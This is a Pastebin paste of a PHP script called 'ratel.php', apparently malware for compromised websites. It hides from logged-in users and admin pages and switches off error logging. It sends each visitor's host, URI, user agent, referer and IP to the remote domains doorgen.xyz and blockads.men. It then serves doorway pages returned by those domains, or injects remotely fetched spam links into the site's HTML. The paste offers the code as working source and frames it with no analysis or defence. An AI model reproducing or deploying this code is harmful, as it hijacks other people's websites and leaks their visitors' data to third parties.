Advertisement
PalmaSolutions

ratel.php

Jul 27th, 2019
290
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.65 KB | None | 0 0
  1.  
  2. if (!class_exists('Ratel')) {
  3.     if (function_exists('is_user_logged_in')) {
  4.         if (is_user_logged_in()) {
  5.             return false;
  6.         }
  7.     }
  8.  
  9.     @ini_set('display_errors', NULL);
  10.     @ini_set('error_reporting', NULL);
  11.     @ini_set('log_errors', NULL);
  12.     @ini_set('default_socket_timeout', 4);
  13.  
  14.     foreach (array('HTTP_USER_AGENT', 'HTTP_ACCEPT_LANGUAGE') as $key) {
  15.         if (!isset($_SERVER[$key]) || !trim($_SERVER[$key])) {
  16.             return false;
  17.         }
  18.     }
  19.  
  20.     if (@preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer|cuill.com|clushbot)/i", $_SERVER["HTTP_USER_AGENT"])) {
  21.         $is_bot = 1;
  22.     }
  23.  
  24.     $bad_file = array("png", "jpg", "jpeg", "gif", "css", "js", "swf", "avi", "mp4", "mp3", "flv", "pdf", "zip", "txt");
  25.  
  26.     $ruri = trim($_SERVER["REQUEST_URI"], "\t\n\r\0\x0B/");
  27.  
  28.     if (preg_match("/(wp-includes|admin|login|administrator)/i", $ruri)) {
  29.         return false;
  30.     }
  31.  
  32.     $host = 'unknown';
  33.     if (isset($_SERVER["HTTP_HOST"])) {
  34.         if (isset($_SERVER["HTTP_X_FORWARDED_HOST"])) {
  35.             $_SERVER["HTTP_HOST"] = $_SERVER["HTTP_X_FORWARDED_HOST"];
  36.         }
  37.         $tmp = parse_url('http://' . $_SERVER["HTTP_HOST"]);
  38.         if ($tmp['host']) {
  39.             $host = $tmp['host'];
  40.             if (substr($host, 0, 4) == 'www.') {
  41.                 $host = substr($host, 4);
  42.             }
  43.         }
  44.         if (isset($_REQUEST[md5(md5($host))]) OR isset($_COOKIE[md5(md5($host))])) {
  45.             die('suspicious request denied');
  46.         }
  47.     }
  48.  
  49.     if ((in_array(end(explode('.', $ruri)), $bad_file)) or stripos($ruri, 'robots.txt') !== false) {
  50.         return false;
  51.     }
  52.  
  53.     class Ratel {
  54.  
  55.         public $links_url = "http://doorgen.xyz/output";
  56.         public $door_url = "http://blockads.men/";
  57.         public $ip = '';
  58.         public $ua = '';
  59.         public $css = '';
  60.         public $js = '';
  61.         public $host = '';
  62.  
  63.         function get_client_ip() {
  64.             foreach (array('HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) {
  65.                 if (array_key_exists($key, $_SERVER) === true) {
  66.                     foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) {
  67.                         if (filter_var($ip, FILTER_VALIDATE_IP) !== false) {
  68.                             return $ip;
  69.                         }
  70.                     }
  71.                 }
  72.             }
  73.             return $_SERVER['REMOTE_ADDR'];
  74.         }
  75.  
  76.         function init($ruri, $host, $is_bot) {
  77.             $this->is_bot = $is_bot;
  78.             $this->ruri = $ruri;
  79.             $this->ip = $this->get_client_ip();
  80.             if (count($_GET) === 1 and empty($_GET[0])) {
  81.                 $not_uri = end(array_keys($_GET));
  82.             }
  83.             $this->luri = '?data=' . base64_encode(@serialize(@array('url' => $_SERVER["HTTP_HOST"], 'uri' => $_SERVER["REQUEST_URI"], 'ua' => $_SERVER["HTTP_USER_AGENT"], 'ref' => $_SERVER["HTTP_REFERER"], 'ip' => $this->ip))) . '&url=' . $_SERVER["HTTP_HOST"];
  84.             $this->uri = '?data=' . base64_encode(@serialize(@array('url' => $_SERVER["HTTP_HOST"], 'uri' => $_SERVER["REQUEST_URI"], 'ua' => $_SERVER["HTTP_USER_AGENT"], 'ref' => $_SERVER["HTTP_REFERER"], 'ip' => $this->ip, 'not_uri' => $not_uri, 'lang' => $_SERVER['HTTP_ACCEPT_LANGUAGE'], 'is_bot' => $this->is_bot))) . '&url=' . $_SERVER["HTTP_HOST"];
  85.             $this->the_end();
  86.         }
  87.  
  88.         function make_links() {
  89.             $links_string = $this->get(str_replace('/output', '/dgout', $this->links_url) . $this->luri, 1);
  90.             if (strlen($links_string) == 0) {
  91.                 return false;
  92.             }
  93.             $links = @explode('<br>', $links_string);
  94.             if (count($links) == 0) {
  95.                 return false;
  96.             }
  97.             return $links;
  98.         }
  99.  
  100.         function rwcontent($content) {
  101.             $tags = array('p', 'span', 'strong', 'em', 'i', 'td', 'div', 'ul', 'li', 'span', 'body');
  102.             $tags_vals = array();
  103.             foreach ($tags as $tag) {
  104.                 preg_match_all("~<{$tag}.*?>(.*?)</{$tag}>~i", $content, $matches);
  105.                 if (@isset($matches[0])) {
  106.                     foreach ($matches[0] as $match) {
  107.                         $tags_vals[] = array('tag' => $tag, 'content' => $match);
  108.                     }
  109.                 }
  110.                 if (count($tags_vals) > count($this->links)) {
  111.                     break;
  112.                 }
  113.             }
  114.             foreach ($this->links as $link_index => $link) {
  115.                 foreach ($tags_vals as $tag_index => $tag_val) {
  116.                     if (strlen($tag_val['content']) % 2 == 1) {
  117.                         $tag_content_new = $tag_val['content'];
  118.                         $tag_content_new = preg_replace("(<{$tag_val['tag']}.*?>)", "$0{$link}", $tag_content_new, 1);
  119.                     } else {
  120.                         if (substr($tag_val['content'], -(strlen($tag_val['tag']) + 4)) == ".</{$tag_val['tag']}>") {
  121.                             $tag_content_new = str_replace(".</{$tag_val['tag']}>", "{$link}.</{$tag_val['tag']}>", $tag_val['content']);
  122.                         } else {
  123.                             $tag_content_new = str_replace("</{$tag_val['tag']}>", "{$link}</{$tag_val['tag']}>", $tag_val['content']);
  124.                         }
  125.                     }
  126.                     $content = preg_replace("~{$tag_val['content']}~i", $tag_content_new, $content, 1);
  127.                     unset($tags_vals[$tag_index]);
  128.                     if (strpos($content, $link) !== false) {
  129.                         unset($links[$link_index]);
  130.                         continue 2;
  131.                     }
  132.                 }
  133.             }
  134.  
  135.             return $content;
  136.         }
  137.  
  138.         function get($url, $bs64 = 0) {
  139.             if (function_exists('curl_init')) {
  140.                 $ch = curl_init($url);
  141.                 curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  142.                 curl_setopt($ch, CURLOPT_HEADER, 0);
  143.                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  144.                 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  145.                 $body = curl_exec($ch);
  146.                 $content_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
  147.             } else {
  148.                 $body = file_get_contents($url);
  149.             }
  150.             if (!empty($body)) {
  151.                 switch ($bs64) {
  152.                     case '0':
  153.                         if (!empty($content_type)) {
  154.                             header('Content-Type: ' . $content_type);
  155.                         }
  156.                         return trim(base64_decode(trim($body)));
  157.                     case '1':
  158.                         return $body;
  159.                 }
  160.             }
  161.             return false;
  162.         }
  163.  
  164.         function the_end() {
  165.             $content = $this->get($this->door_url . $this->uri, 1);
  166.             if (!empty($content) or $content != '') {
  167.                 $content = @base64_decode($content);
  168.                 if (strripos($content, ' keys/' . $_SERVER["HTTP_HOST"]) !== false) {
  169.                     return false;
  170.                 }
  171.                 if (@strpos(@strtolower($content), '</html>') !== false) {
  172.                     die($content);
  173.                 }
  174.             } else {
  175.                 $this->links = $this->make_links();
  176.                 if (!empty($this->links) or $this->links !== False) {
  177.                     ob_start(array($this, 'rwcontent'));
  178.                     register_shutdown_function('ob_end_flush');
  179.                 }
  180.             }
  181.         }
  182.  
  183.     }
  184.     $ratel = new Ratel;
  185.     $ratel->init($ruri, $host, $is_bot);
  186. }
  187. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement